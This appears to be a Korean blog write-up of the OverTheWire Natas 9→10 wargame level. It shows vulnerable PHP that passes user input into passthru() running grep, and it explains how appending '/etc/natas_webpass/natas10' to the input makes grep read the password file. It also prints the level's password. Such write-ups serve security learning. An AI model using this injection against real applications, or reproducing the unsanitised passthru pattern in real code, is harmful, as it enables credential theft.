[ Natas 9 -> Natas 10 grep 다중명령어 ]
2017. 9. 23. 18:40ㆍWebHacking/[OverTheWire]Natas
[ PHP 코드 ]
1 2 3 4 5 6 7 8 9 10 11 12 | <? $key = ""; if(array_key_exists("needle", $_REQUEST)) { // REQUEST변수의 needle키 값 = 입력값 $key = $_REQUEST["needle"]; } if($key != "") { // 입력값이 존재하면 passthru()함수가 실행된다 passthru("grep -i $key dictionary.txt"); } ?> | cs |
* passthru( "command" ) 함수
system()함수나 exec()함수와 비슷한 명령어를 실행시키는 함수이다
정의 : Execute an external program and display raw output ( 외부 프로그램을 실행시키고 원시출력을 표시한다 )
* grep 함수의 특징을 이용한 문제이다
#grep [ 찾을 문자열 ] [ 찾아야 할 대상이 있는 파일1 ]
#grep [ 찾을 문자열 ] [ 찾아야 할 대상이 있는 파일1 ] [ 찾아야 할 대상이 있는 파일2 ]
$key = a
#grep -i a dictionary.txt
$key = a /etc/natas_webpass/natas10
#grep -i a /etc/natas_webpass/natas10 dictionary.txt
/etc/natas_webpass/natas10 파일과 dictionary.txt 파일에서 " a " 라는 문자열을 검색한 결과이다
찾은 파일을 구분하기위해 찾은 문자열 앞에 파일의 이름을 명시해주는 grep의 특징이 확인된다
natas10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
'WebHacking > [OverTheWire]Natas' 카테고리의 다른 글
[ Natas 13 -> Natas 14 파일 시그니처 ( File Signature ) ] (0) | 2017.09.25 |
---|---|
[ Natas 10 -> Natas 11 grep 다중명령어 ] (0) | 2017.09.23 |
[ Natas 8 -> Natas 9 bin2hex(), base64_encode() ] (0) | 2017.09.23 |
[ Natas 7 -> Natas 8 URL ] (0) | 2017.09.23 |
[ Natas 6 -> Natas 7 직접참조(include) ] (0) | 2017.09.23 |